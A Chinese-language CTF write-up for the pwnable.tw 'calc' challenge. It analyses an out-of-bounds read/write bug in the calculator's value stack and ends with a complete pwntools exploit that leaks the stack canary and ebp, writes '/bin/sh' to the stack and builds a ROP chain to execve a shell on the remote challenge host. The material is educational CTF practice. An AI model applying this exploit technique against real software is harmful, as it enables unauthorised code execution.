题目地址: https://pwnable.tw/challenge/#3

程序分析

题目地址: https://pwnable.tw/challenge/#3
这道题是一个计算器的小程序,通过输入表达式进行求值,不支持括号

[email protected]:~/Desktop/ctf/pwnable.tw$ ./calc 
=== Welcome to SECPROG calculator ===
1+1
2
1+6
7
8*6
48

Merry Christmas!
[email protected]:~/Desktop/ctf/pwnable.tw$

[*] '/home/y11en/Desktop/ctf/pwnable.tw/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

通过简单测试,发现输入+100000会造成程序崩溃,调试确定问题原因是发生在calc函数内部

unsigned int calc()
{
int value_stack[101]; // [esp+18h] [ebp-5A0h]
char inputBuf; // [esp+1ACh] [ebp-40Ch]
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&inputBuf, 1024u);
if ( !get_expr(&inputBuf, 1024) ) // 输入
break;
init_pool(value_stack);
if ( parse_expr(&inputBuf, value_stack) ) // parser
{
printf((const char *)&unk_80BF804, value_stack[value_stack[0] - 1 + 1]); //这里发生了crash
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

这里的value_stack是运算变量栈,用于存放输入的运算符两边的数字,例如输入1+3,则value_stack的变化是这样的

value_stack 的运算值栈变化
value_stack[0] 是标记当前运算结果,value_stack[1...n] 是实际值
输入1 -> 1|1|
输入`+` 这里会进入运算符栈中
输入3 -> 2|1|3|
计算得 value_stack[value_stack[0]-1] += v[value_stack[0]] 也即 1+3 = 4,之后value_stack[0]--

但问题来了,当我们尝试输入+2时变化是这样的

输入+
输入1 -> 1|2
计算得 value_stack[value_stack[0]-1] += v[value_stack[0]] 也即 0 + 2 = 2,0 是由于程序默认赋值,之后value_stack[0]--
在打印的时候调用如下代码:
printf((const char *)&unk_80BF804, value_stack[value_stack[0] - 1 + 1]);
造成 打印value_stack[X])的效果,X是我们输入的+X中的X

知道通过输入+X可以泄露打印value_stack[X]的值,那么我们可以尝试泄露stack cookie来造成栈异常,但仔细研究了一下,除了运算符那个栈可溢出,但仅限于”+-*/“,所以实际意义不大,再仔细分析,可以发现,程序还可以造成栈上任意地址写的效果,
发生在eval的函数中

_DWORD *__cdecl eval(_DWORD *value_stack, char a2)
{
_DWORD *result; // eax

if ( a2 == '+' )
{
value_stack[*value_stack - 1] += value_stack[*value_stack];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
value_stack[*value_stack - 1] -= value_stack[*value_stack];
}
else if ( a2 == '/' )
{
value_stack[*value_stack - 1] /= value_stack[*value_stack];
}
}
else if ( a2 == '*' )
{
value_stack[*value_stack - 1] *= value_stack[*value_stack];
}
result = value_stack;
--*value_stack;
return result;
}

通过构造+X+Y或者+X-Y,当然*/也能用,如下

输入+
输入X -> 1|X
输入+ 计算得到 -> X| , 也即 (*value_stack) = X
输入Y ->
if ( Y > 0 )
{
v4 = (*value_stack)++; //注意这里的 ++造成后的X 变为 X + 1
value_stack[v4 + 1] = Y ;
}
计算得到 value_stack[(X + 1)- 1]+= Y
这里需要注意的是,写X位置处的值,会把X+1处的值填充掉

利用

好了原理都知道了,一个栈上任意读,一个任意写,可以很快的pwn掉,但有一个坑在于,这里面在布置int 80利用代码时,需要

eax=11 # sys_execve
ebx="/bin/sh"
ecx=0
edx=0

ebx需要在栈上面布置一个binsh的字符串,这就需要用到ebp了,而ebp>0x80000000 !!! 坑的是输入的值是一个int类型,无法写高于0x7FFFFFFF的值(因为你不能输入-进去当数字运算),所以这里用了一个小技巧,通过多次累加让目标值溢出,最终的利用代码如下,

from pwn import *
DEBUG = 0
printf_plt = 0

LOCALFILE = './calc'
HOST = 'chall.pwnable.tw'
PORT = 10100

#context.log_level = 'debug'
if DEBUG:
p = process(LOCALFILE)
#gdb.attach(p)
else:
p = remote(HOST, PORT)

def read_int(off):
p.sendline("+{0}".format(off))
x = p.recv()
x = int(x)
return x

def write_int(off,dat,op='+'):
p.sendline("+{0}{1}{2}".format(off,op,dat))
p.recvuntil("\n")


#0x080701AA : pop edx ; ret
#0x0805c34b : pop eax ; ret
#0x0809E7A4 : pop ebx ; pop esi ; ret
#0x080701d1 : pop ecx ; pop ebx ; ret
#0x08070880 : _dl_sysinfo_int80
pop_edx_ret = 0x080701AA
pop_eax_ret = 0x0805c34b
pop_ebx2_ret = 0x0809E7A4
pop_ecx2_ret = 0x080701d1
_dl_sysinfo_int80 = 0x08070880


#cookie 357
#ebp 360
#ret 361

def set0(off,y=0):
x = read_int(off)
print ('before: ' + hex((x if x >=0 else x+0x100000000)))
if (x > y):
x = (x-y)
print ('fix(-): ' + hex(x) , "to " + hex(y))
write_int(off,x,'-')
else:
if (y > 0x80000000):
print ('fix(*): ' + hex(x) , "to " + hex(y))
n = y / x
m = y % x
for i in range(0,n-1):
write_int(off,x,'+')
write_int(off,m,'+')
else:
x = y - x
print ('fix(+): ' + hex(x) , "to " + hex(y))
write_int(off,x,'+')
x = read_int(off)
print ('after: ' + hex((x if x >=0 else x+0x100000000)))

cookie = 357
ebp = 360
ret = 361

def pwn():
leak_cookie = read_int(cookie)
leak_ebp= read_int(ebp)
leak_ret= read_int(ret)
fleak_ebp = (leak_ebp if leak_ebp > 0 else leak_ebp+0x100000000)

binsh = fleak_ebp + 0x30
binsh = (binsh if binsh > 0 else binsh+0x100000000)
write_int(380,0x68732F,'+')
write_int(379,0x6E69622F,'+')
print ('binsh' , hex(binsh))

set0(ret,pop_eax_ret)
set0(ret+1,11)

set0(ret+2,pop_ecx2_ret)
set0(ret+3,0)

set0(ret+5,pop_ebx2_ret)
set0(ret+6,binsh)

set0(ret+8,pop_edx_ret)
set0(ret+9,0)
set0(ret+10,_dl_sysinfo_int80)

def main():
p.recvuntil('=== Welcome to SECPROG calculator ===\n')
pwn()
p.sendline("")
p.sendline("cat /home/calc/flag")
p.interactive()
main()